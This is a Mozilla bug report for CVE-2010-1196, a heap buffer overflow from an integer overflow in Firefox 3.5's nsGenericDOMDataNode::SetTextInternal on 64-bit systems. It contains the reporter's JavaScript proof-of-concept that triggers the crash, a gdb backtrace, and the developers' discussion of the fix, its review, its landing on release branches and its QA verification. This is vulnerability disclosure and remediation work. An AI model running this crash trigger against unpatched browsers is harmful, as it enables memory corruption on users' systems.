Note: There are a few cases of duplicates in user autocompletion which are being worked on.
Bug 534666 (CVE-2010-1196)

Heap buffer overflow and crash [@ nsGenericDOMDataNode::SetTextInternal] on 64-bit

RESOLVED FIXED

Status

()

Core
DOM: Core & HTML
RESOLVED FIXED
8 years ago
7 years ago

People

(Reporter: bsterne, Assigned: jst)

Tracking

({verified1.9.2})

Trunk
x86_64
All
verified1.9.2
Points:
---

Firefox Tracking Flags

(blocking2.0 final+, blocking1.9.2 .4+, status1.9.2 .4-fixed, status1.9.1 .10-fixed)

Details

(Whiteboard: [sg:critical?] [qa-examined-192])

Attachments

(2 attachments)

(Reporter)

Description

8 years ago
Nils reported this bug to security@mozilla.org.  Here's his full message:

-----
Firefox 3.5 64-Bit nsGenericDOMDataNode::SetTextInternal



I found a heap buffer overflow vulnerability which is caused by a integer overflow in nsGenericDOMDataNode::SetTextInternal(). Due to the amount of data needed to trigger the vulnerability (> 8 gigbytes), this is only exploitable on 64-bit systems. It was tested on Ubuntu AMD64 with the default install of Firefox and a custom build of Firefox on the same system.



The vulnerable code is in nsGenericDOMDataNode::SetTextInternal()



content/base/src/nsGenericDOMDataNode.cpp:399:



    PRInt32 newLength = textLength - aCount + aLength;

    PRUnichar* to = new PRUnichar[newLength];

    NS_ENSURE_TRUE(to, NS_ERROR_OUT_OF_MEMORY);



    // Copy over appropriate data

    if (0 != aOffset) {

      mText.CopyTo(to, 0, aOffset);

    }

    if (0 != aLength) {

      memcpy(to + aOffset, aBuffer, aLength * sizeof(PRUnichar));

    }





With a very large aLength or textLength an attacker would be able to wrap the integer newLength, resulting in an allocation of a too small buffer. When aLength is large than zero the memcpy() will overflow the buffer.



A fix would use size_t or similar value types for all length values. Furthermore the result of calculations which may wrap should be checked.

 The following Proof-of-Concept code will trigger the bug. Note that there will be multiple ways of triggering the issue:



POC Code:



------------------------- test.js ------------------------------



// fast way of allocating huge strings

function getlongstr(leng) {

        var str = unescape("%udead");

        var tsize = leng;

        while(str.length < ((tsize/6)/0x10)) str += str;

        str = str.substring(0, ((tsize/6)/0x10));

        var sz = tsize / 6;

        var comp = str.length;

        var ar = new Array();

        var act = 0;

        for(var i=0; i<0x11; i++) {

                act += comp;

                ar.push(str);

        }

        var longstr = ar.join("");

        longstr = longstr.substring(0, tsize/6);

        ar = null;

        str = null;

        longstr = escape(longstr);

        return longstr;

}



function start() {

        var appendStr = "AA";

        while(appendStr.length < 16500) appendStr+=appendStr;

        var x= document.createComment("");

        alert("created comment");

        var longstr = getlongstr(0xfffffffc);

        x.appendData(appendStr);

        x.insertData(0x7f80, longstr);

        alert("done");

}

start();



-----------------------------------------------------------------



Provided the test system has enough memory (>8 gigabyte) following crash will be triggered:



Stack backtrace:



Program received signal SIGSEGV, Segmentation fault.

0x00007ffff6ddf7ca in nsGenericDOMDataNode::SetTextInternal (

    this=0x7fffddbc9380, aOffset=32640, aCount=1992294400, 

    aBuffer=0x7ffcf6cf7954, aLength=4294967292, aNotify=1)

    at /usr/include/bits/string3.h:52

52        return __builtin___memcpy_chk (__dest, __src, __len, __bos0 (__dest));

(gdb) bt 10

#0  0x00007ffff6ddf7ca in nsGenericDOMDataNode::SetTextInternal (

    this=0x7fffddbc9380, aOffset=32640, aCount=1992294400, 

    aBuffer=0x7ffcf6cf7954, aLength=4294967292, aNotify=1)

    at /usr/include/bits/string3.h:52

#1  0x00007ffff731f139 in NS_InvokeByIndex_P (that=0x7fffffffc430, 

    methodIndex=4294951152, paramCount=32767, params=0x7fffddc24000)

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/xpcom/reflect/xptcall/src/md/unix/xptcinvoke_x86_64_linux.cpp:208

#2  0x00007ffff6b42b81 in XPCWrappedNative::CallMethod (ccx=..., mode=16)

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/js/src/xpconnect/src/xpcwrappednative.cpp:2456

#3  0x00007ffff6b4a5fb in XPC_WN_CallMethod (cx=0x7fffe3356000, 

    obj=0x7ffc771cc100, argc=3720560384, argv=0x1ffa33ef8, vp=0x8000)

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/js/src/xpconnect/src/xpcwrappednativejsops.cpp:1590

#4  0x00007ffff6434383 in js_Invoke (cx=0x7fffe3356000, argc=32767, 

    vp=0x7fffe237e160, flags=32767)

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/js/src/jsinterp.cpp:1386

#5  0x00007ffff64255bc in js_Interpret (cx=0x7fffe3356000)

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/js/src/jsinterp.cpp:5179

#6  0x00007ffff643438d in js_Invoke (cx=0x7fffe3356000, argc=32767, 

    vp=0x7fffe237e040, flags=32767)

---Type <return> to continue, or q <return> to quit---

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/js/src/jsinterp.cpp:1394

#7  0x00007ffff64346e4 in js_InternalInvoke (cx=0x7fffe3356000, 

    obj=0x7fffddb90480, fval=140736913381888, flags=0, argc=32768, 

    argv=0x7f80, rval=0x7ffff63fc8e5)

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/js/src/jsinterp.cpp:1447

#8  0x00007ffff63fc8e5 in JS_CallFunctionValue (cx=0x7fffe3356000, 

    obj=0x7ffc771cc100, fval=140736913948416, argc=4288888568, argv=0x8000, 

    rval=0x7f80)

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/js/src/jsapi.cpp:5187

#9  0x00007ffff6ef9126 in nsJSContext::CallEventHandler (this=0x7fffe65fb760, 

    aTarget=0x7ffc771cc100, aScope=0x7fffddc33f00, aHandler=0x7fffddba9a00, 

    aargv=0x7fffe3356000, arv=0x7fffffffceb0)

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/dom/src/base/nsJSEnvironment.cpp:2085

(More stack frames follow...)
(Reporter)

Updated

8 years ago
Whiteboard: [sg:critical?]
(Reporter)

Comment 1

8 years ago
Maybe I'm overlooking something, but I'm not sure why we wouldn't be vulnerable on 32-bit systems as well.  It still seems as if we could overflow the 32-bit newLength and wind up with a buffer too small for aBuffer's contents.

Comment 2

8 years ago
(In reply to comment #1)
> Maybe I'm overlooking something, but I'm not sure why we wouldn't be vulnerable
> on 32-bit systems as well.  It still seems as if we could overflow the 32-bit
> newLength and wind up with a buffer too small for aBuffer's contents.

The overflow itself could happen, however an attacker would need to allocate a string with more than 4000000000 characters (and 2 bytes per character). This is impossible in a 32 bit address space.

Updated

8 years ago
blocking2.0: --- → ?
(Assignee)

Updated

8 years ago
Assignee: nobody → jonas
blocking2.0: ? → final
(Assignee)

Comment 3

8 years ago
Created attachment 432045 [details] [diff] [review]
Fix.

This patch fixes this crash. The problem really is that we overflow 32-bit integers in a couple of places, some cause crashes, others just cause incorrect behavior, but this sanitizes the counts, offset, and length variables we use in our DOM character data nodes. Part of this is to cap the length of the data we let users pass in through the DOM API to the max amount our internal implementation can actually hold (29 bits worth), the rest of the fix is mostly to prevent the wrong data from being deleted or replaced with some of the APIs.

And this is actually not something that's exploitable on trunk or 3.6 due to the length of a JS string being capped at 28 bits there, but in 3.5 that cap didn't exist, so we could overflow various things can cause bad behavior. Either way, we should take this change on trunk as well, since it does fix real problems there too, even if they're not crashes.
Assignee: jonas → jst
Status: NEW → ASSIGNED
Attachment #432045 - Flags: review?(jonas)
(Assignee)

Comment 4

8 years ago
Created attachment 432245 [details] [diff] [review]
Fix with more context.
Attachment #432245 - Flags: review?(jonas)
(Assignee)

Updated

8 years ago
Attachment #432045 - Flags: review?(jonas)
Comment on attachment 432245 [details] [diff] [review]
Fix with more context.

Looking good r=me
Attachment #432245 - Flags: review?(jonas) → review+
(Assignee)

Updated

7 years ago
Attachment #432245 - Flags: superreview?(mrbkap)

Updated

7 years ago
Attachment #432245 - Flags: superreview?(mrbkap) → superreview+
(Assignee)

Comment 6

7 years ago
Fixed on trunk. http://hg.mozilla.org/mozilla-central/rev/91694d19d7b2
Status: ASSIGNED → RESOLVED
Last Resolved: 7 years ago
Resolution: --- → FIXED
(Assignee)

Comment 7

7 years ago
Comment on attachment 432245 [details] [diff] [review]
Fix with more context.

This fix simply limits what we allow to be stored in a text node to the limit we already have deeper down in the code. Perfectly safe for branches...
Attachment #432245 - Flags: approval1.9.2.4?
Attachment #432245 - Flags: approval1.9.1.10?
Comment on attachment 432245 [details] [diff] [review]
Fix with more context.

a=beltzner for 1.9.1.10 and 1.9.2.4; for the latter, please land on both default and GECKO1924_20100413_RELBRANCH
Attachment #432245 - Flags: approval1.9.2.4?
Attachment #432245 - Flags: approval1.9.2.4+
Attachment #432245 - Flags: approval1.9.1.10?
Attachment #432245 - Flags: approval1.9.1.10+

Comment 9

7 years ago
Friendly notice: both the 1.9.1.10 and 1.9.2.4 code freezes are scheduled for *tomorrow*, Tuesday April 27th 2010 @ 11:59 pm PST.
(Assignee)

Comment 10

7 years ago
I'll land this on the branches today.

Comment 11

7 years ago
Thanks jst!
(Assignee)

Comment 12

7 years ago
http://hg.mozilla.org/releases/mozilla-1.9.2/rev/86ec082e2e1b
http://hg.mozilla.org/releases/mozilla-1.9.1/rev/496681759fa9
status1.9.1: --- → .10-fixed
status1.9.2: --- → .4-fixed
Are there STR for QA to verify this fix?
Whiteboard: [sg:critical?] → [sg:critical?] [qa-examined-192] [qa-needs-STR]
I see the steps via the script in comment 0 above but it needs a 64-bit box with at least 8 gigs of RAM to reproduce.

Bob, do you have an environment set up where you could verify this for 1.9.2 and 1.9.1?
Whiteboard: [sg:critical?] [qa-examined-192] [qa-needs-STR] → [sg:critical?] [qa-examined-192]
(In reply to comment #8)
> (From update of attachment 432245 [details] [diff] [review])
> a=beltzner for 1.9.1.10 and 1.9.2.4; for the latter, please land on both
> default and GECKO1924_20100413_RELBRANCH

(In reply to comment #12)
> http://hg.mozilla.org/releases/mozilla-1.9.2/rev/86ec082e2e1b
> http://hg.mozilla.org/releases/mozilla-1.9.1/rev/496681759fa9

86ec082e2e1b is on 'default' in 1.9.2, so this fix didn't land on GECKO1924_20100413_RELBRANCH and isn't in Fx 3.6.4 build2. Verified that by looking at the hg logs for both branches, and by applying attachment 432245 [details] [diff] [review] cleanly to the tip of the relbranch.
status1.9.2: .4-fixed → .5-fixed
Al, I can take a look on my environment which is 64-bit. It doesn't seem like I need to have 8g of ram.
So, this is .5-fixed, but not .4-fixed. We need to know if that's a problem for the security group. If it is, then we need to land it on the relbranch and respin. If not, then we can just pick up the fix in 1.9.2.5 and not disclose until then.
blocking1.9.2: --- → ?
Juan, BC is going to test this. He mentioned it in e-mail.
Based on the recommendation of s-g, we're going to block 1.9.2.4 on this since the code landed in the tree.

This needs to land on the 1.9.2.4 relbranch GECKO1924_20100413_RELBRANCH
blocking1.9.2: ? → .4+
GECKO1924_20100413_RELBRANCH

http://hg.mozilla.org/releases/mozilla-1.9.2/rev/379c0002adfa
status1.9.2: .5-fixed → .4-fixed
Ok. I'm building GECKO1924_20100413_RELBRANCH on a linux 64bit box with 8G. I'll test it in a bit.
I couldn't crash on 1.9.2 Linux x86_64 with 8G for the test in comment 0 and did  not see any "bad" valgrind messages.

However I am not entire sure I am testing the appropriate issue since the test does not use anywhere near the full memory of the machine and throws allocation size overflow at the line

var longstr = ar.join("");

jst, bsterne: is this sufficient to verify on GECKO1924_20100413_RELBRANCH ?
Alias: CVE-2010-1196
(Reporter)

Comment 23

7 years ago
Yes, that looks good.
Status: RESOLVED → VERIFIED
Brandon, shouldn't this be "verified1.9.2" and not verified for the bug as a whole since he didn't check on trunk?
Status: VERIFIED → RESOLVED
Last Resolved: 7 years ago7 years ago
Keywords: verified1.9.2
Group: core-security
You need to log in before you can comment on or make changes to this bug.